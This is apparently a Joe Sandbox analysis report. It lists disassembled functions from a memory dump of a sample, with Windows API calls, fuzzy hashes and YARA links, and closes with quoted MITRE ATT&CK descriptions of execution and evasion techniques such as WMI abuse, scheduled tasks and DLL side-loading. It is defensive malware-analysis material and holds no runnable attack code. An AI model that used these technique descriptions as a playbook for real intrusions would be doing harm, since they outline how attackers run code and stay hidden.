Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 0325b830e6b893c931d02d4199ed49b633ea37a3888e4f3a5e82a58fade961e8
Instruction ID: 443de7f763eac212baa14a78e639a3aea029d2c0a0da6cc9e69bce0999ceb3e8
Opcode Fuzzy Hash: 0325b830e6b893c931d02d4199ed49b633ea37a3888e4f3a5e82a58fade961e8
Instruction Fuzzy Hash: 3651B672501226ABEF219F61EC91EBB76BDEF84710B16053DFD04E6169EB34CC5086A0

Function 00923010 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00923017
std::_Lockit::_Lockit.LIBCPMT ref: 00923022
std::_Lockit::~_Lockit.LIBCPMT ref: 00923090

Part of subcall function 00922EE4: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00922EFC

std::locale::_Setgloballocale.LIBCPMT ref: 0092303D
_Yarn.LIBCPMT ref: 00923053

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 1b5d1bb02c481d616cbf3a8f7bd76ff227b8ffd1e1d3881294704ecccd3dcd32
Instruction ID: a0df219aeeb993f6458ef157a567a0aa0d1464b110ed5773d929e3ff4d0995a2
Opcode Fuzzy Hash: 1b5d1bb02c481d616cbf3a8f7bd76ff227b8ffd1e1d3881294704ecccd3dcd32
Instruction Fuzzy Hash: D4017CB9A056309BCB09EF60E855A7C7761FFC6350B158109E91257389CF386E02EB91

Function 00937E92 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00937F2E,00000000,?,00946E10,?,?,?,00937E65,00000004,InitializeCriticalSectionEx,0093E57C,0093E584), ref: 00937E9F
GetLastError.KERNEL32(?,00937F2E,00000000,?,00946E10,?,?,?,00937E65,00000004,InitializeCriticalSectionEx,0093E57C,0093E584,00000000,?,0092E1DC), ref: 00937EA9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00937ED1

Strings

api-ms-, xrefs: 00937EB6

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: c6433c8fa71d438011a51bee66566098e3c405cb08c1daa6b5d8d41b89df0203
Instruction ID: 1e3c9e5dfac5b6506ae3f89e3a3ddff7f2cd8349cb83b460f220048cf35d74f2
Opcode Fuzzy Hash: c6433c8fa71d438011a51bee66566098e3c405cb08c1daa6b5d8d41b89df0203
Instruction Fuzzy Hash: BCE04F74298209BBEF301BB1EC06F597B5DDB51B94F208060F94DB88F1E7A19E50AEC5

Function 0093562D Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 00935690

Part of subcall function 0092E641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0092FDE8,?,00000000,-00000008), ref: 0092E6A2

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 009358E2
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00935928
GetLastError.KERNEL32 ref: 009359CB

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 8539104f75706ed18fdb5edf52d7291cecfbef5c27b6ba9a74703db3e2dcf55f
Instruction ID: 4a4a88ffc334c9ef4e6600d78b6a0e7d83c529534d040ab05cf33d51aaf87d23
Opcode Fuzzy Hash: 8539104f75706ed18fdb5edf52d7291cecfbef5c27b6ba9a74703db3e2dcf55f
Instruction Fuzzy Hash: C5D198B5D04648DFCB05CFA8D880AAEBBF9FF4D310F29452AE856EB251D630A941CF50

Function 0092D8AF Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0092D976
___AdjustPointer.LIBCMT ref: 0092D999
___AdjustPointer.LIBCMT ref: 0092DA35

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 21143368538983fc5cca214c0812f9f6d7891e5bf58359e3cd6b42b2d9f8b2da
Instruction ID: d308938f53a6fb2d7f01704f3b3e42e653adc18a6531c64a95f7eb95a46a726f
Opcode Fuzzy Hash: 21143368538983fc5cca214c0812f9f6d7891e5bf58359e3cd6b42b2d9f8b2da
Instruction Fuzzy Hash: 5551257A607626AFDB289F10F841BBAB3B8EF44310F24442DF94157299E731ED80CB90

Function 00933537 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0092E641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0092FDE8,?,00000000,-00000008), ref: 0092E6A2

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 0093359B
__dosmaperr.LIBCMT ref: 009335A2
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 009335DC
__dosmaperr.LIBCMT ref: 009335E3

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: c0727cb182d458267718fda70e8e4459c22bacd8f7e9081fd1a0adab184d40d6
Instruction ID: b7bb01b1f92222e20fc535298aae9a995ae88b02a62cc322822219dcd368e3d2
Opcode Fuzzy Hash: c0727cb182d458267718fda70e8e4459c22bacd8f7e9081fd1a0adab184d40d6
Instruction Fuzzy Hash: 8421A471640715EFDB20AF66A88196BBBACFF40364B10C519F82997651EB30EF508FA1

Function 00928042 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 247a612ea4be01b02d248802476af834ac7bbfd7b19dac02522c3ad7b25eaf12
Instruction ID: 64df9d874cb93d6b14c0739205b771bb29e536089473430c8a5f4bf5773e3f01
Opcode Fuzzy Hash: 247a612ea4be01b02d248802476af834ac7bbfd7b19dac02522c3ad7b25eaf12
Instruction Fuzzy Hash: D921C63121A225AFDB20AF71FC80EABB76DAF903647104525F81597599DF31EC1087A1

Function 0093484F Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00934857

Part of subcall function 0092E641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0092FDE8,?,00000000,-00000008), ref: 0092E6A2

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0093488F
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 009348AF

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: d4beb3cb5d364de64b5c8766776b7d382dd2865e3d9676c31356490c33591c40
Instruction ID: 8d521ee3dbc505df2efe7383685837501961828c44cdadfe960e09f2d359d386
Opcode Fuzzy Hash: d4beb3cb5d364de64b5c8766776b7d382dd2865e3d9676c31356490c33591c40
Instruction Fuzzy Hash: B41104B5516265BF6A1127B5ACCDD6F395CDF86394B110434F401A1100FA64EE419A70

Function 0092457B Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00924582
std::_Lockit::_Lockit.LIBCPMT ref: 0092458C

Part of subcall function 009224C2: std::_Lockit::_Lockit.LIBCPMT ref: 009224DE
Part of subcall function 009224C2: std::_Lockit::~_Lockit.LIBCPMT ref: 009224F7

codecvt.LIBCPMT ref: 009245C6
std::_Lockit::~_Lockit.LIBCPMT ref: 009245FD

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: 11b6befb29e4b9b976e3368b7310fb9e4e88706c8aa73c8bcd5c9ba9fedaf3bf
Instruction ID: 4021d49be53903054a4e7e7888d6d06e61e03943949b9a98c9a3760e508130ee
Opcode Fuzzy Hash: 11b6befb29e4b9b976e3368b7310fb9e4e88706c8aa73c8bcd5c9ba9fedaf3bf
Instruction Fuzzy Hash: D001C0759002359BCB04EBA4F816BAD77B5BF91310F254508F412A72D9CF749E019B92

Function 0093A4E0 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00939B0F,00000000,00000001,00000000,?,?,00935A1F,?,00000000,00000000), ref: 0093A4F7
GetLastError.KERNEL32(?,00939B0F,00000000,00000001,00000000,?,?,00935A1F,?,00000000,00000000,?,?,?,00935365,00000000), ref: 0093A503

Part of subcall function 0093A554: CloseHandle.KERNEL32(FFFFFFFE,0093A513,?,00939B0F,00000000,00000001,00000000,?,?,00935A1F,?,00000000,00000000,?,?), ref: 0093A564

___initconout.LIBCMT ref: 0093A513

Part of subcall function 0093A535: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0093A4D1,00939AFC,?,?,00935A1F,?,00000000,00000000,?), ref: 0093A548

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,00939B0F,00000000,00000001,00000000,?,?,00935A1F,?,00000000,00000000,?), ref: 0093A528

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: d5bca61ce078fd0675d17ad0f318cad6b31553f2f3fa2151c417fe9d72a68c02
Instruction ID: 7ca2d307ae3d8a52b7a729d7f1ec138bba8a4c0db13d7b761634de32997fe618
Opcode Fuzzy Hash: d5bca61ce078fd0675d17ad0f318cad6b31553f2f3fa2151c417fe9d72a68c02
Instruction Fuzzy Hash: 57F0123A024115BFCF221FE5EC04E9E3F26FB86361F004110F99985120D6318920AB92

Function 009259A7 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 009259B9
GetCurrentThreadId.KERNEL32 ref: 009259C8
GetCurrentProcessId.KERNEL32 ref: 009259D1
QueryPerformanceCounter.KERNEL32(?), ref: 009259DE

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 879ab4795e75f6c56d94cd81242a0c9ff23e56846a0b3b149d07235e943f38aa
Instruction ID: 4886730dbf673f2ebc7ae6283655788d1d1e8947e367c31804faf95075205c81
Opcode Fuzzy Hash: 879ab4795e75f6c56d94cd81242a0c9ff23e56846a0b3b149d07235e943f38aa
Instruction Fuzzy Hash: 44F0B234D2520CEBCB00DBB4CA4998EFBF4FF1D200B918596A412E7210E730AB449F50

Function 00932117 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMON

Download Yara Rule

APIs

Part of subcall function 0092E783: GetLastError.KERNEL32(00000000,?,00930AB9), ref: 0092E787
Part of subcall function 0092E783: SetLastError.KERNEL32(00000000,?,?,00000028,0092B9D2), ref: 0092E829

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,00929266,?,?,?,00000055,?,-00000050,?,?,?), ref: 009321D6
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,00929266,?,?,?,00000055,?,-00000050,?,?), ref: 0093220D

Strings

utf8, xrefs: 009322DF

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: 146e9b8c66dbef1040a1c051a37b0be87b53b10bb7cc4030f122010eb5235f3e
Instruction ID: 5068f5150969df6dda1864f0b73a640d0904d6b834bd4372d991664e96eec696
Opcode Fuzzy Hash: 146e9b8c66dbef1040a1c051a37b0be87b53b10bb7cc4030f122010eb5235f3e
Instruction Fuzzy Hash: 7A510675644305AADB25BB74DC82FBB73ACEF85B00F144429FA16DB181FB74E9408EA1

Function 0092DFAC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 126COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0092DEAD,?,?,00000000,00000000,00000000,?), ref: 0092DFD1

Strings

MOC, xrefs: 0092DFE3
RCC, xrefs: 0092DFEB

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 88d827fac53d6be14d18ef12ec9110b7f00d0c1a202ac450df47b833b8a0184e
Instruction ID: 556c73608bb74a53f696bdc883448947454dcc53493f0c5e21b29cb210352e2d
Opcode Fuzzy Hash: 88d827fac53d6be14d18ef12ec9110b7f00d0c1a202ac450df47b833b8a0184e
Instruction Fuzzy Hash: 60417B31904219EFCF25DF94EC81AEEBBB9FF48304F188059F9046B219D3759951DB50

Function 0092D818 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0092DA8F

Strings

csm, xrefs: 0092DB22
csm, xrefs: 0092DAB1

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 1e9c1c30f166cbe713c8f09f01912c6fcfd41f5a3a3123914b841fcb4254750d
Instruction ID: be53b2a235d093680086f9cab7538a443982a2aa9a54d9c27ad14ef133cf61f0
Opcode Fuzzy Hash: 1e9c1c30f166cbe713c8f09f01912c6fcfd41f5a3a3123914b841fcb4254750d
Instruction Fuzzy Hash: 02314832506238DFCF229F50EC50DAA7B69FF08364B198259FC448A225C332CDA1DBD1

Function 009229D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(0094648C,ios_base::badbit set,?,?,00921C84,00946478,00921B17), ref: 009229DF
ReleaseSRWLockExclusive.KERNEL32(0094648C,?,?,00921C84,00946478,00921B17), ref: 00922A19

Strings

ios_base::badbit set, xrefs: 009229D8

Memory Dump Source

Source File: 0000000A.00000002.2143453431.0000000000921000.00000020.00000001.01000000.00000009.sdmp, Offset: 00920000, based on PE: true

Associated: 0000000A.00000002.2143427973.0000000000920000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143497451.000000000093C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143554074.0000000000945000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143573511.0000000000948000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143594655.000000000094A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000A.00000002.2143625595.000000000094D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_920000_d2cb36d600.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ios_base::badbit set
API String ID: 17069307-3882152299
Opcode ID: 5bd27c78422e05e029a00ce19567c83fa80f1da6e5a488d10c81d55ea33c2b9f
Instruction ID: 04b3eb29b1ca0df6189d60eb0e9b1ad7493da9a3e7ad62eaa8433662ce43ebf0
Opcode Fuzzy Hash: 5bd27c78422e05e029a00ce19567c83fa80f1da6e5a488d10c81d55ea33c2b9f
Instruction Fuzzy Hash: E0F0A778514610EFC7209F18E904E257BB8FB87734F10432EE89A436E0C7351882DB51

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
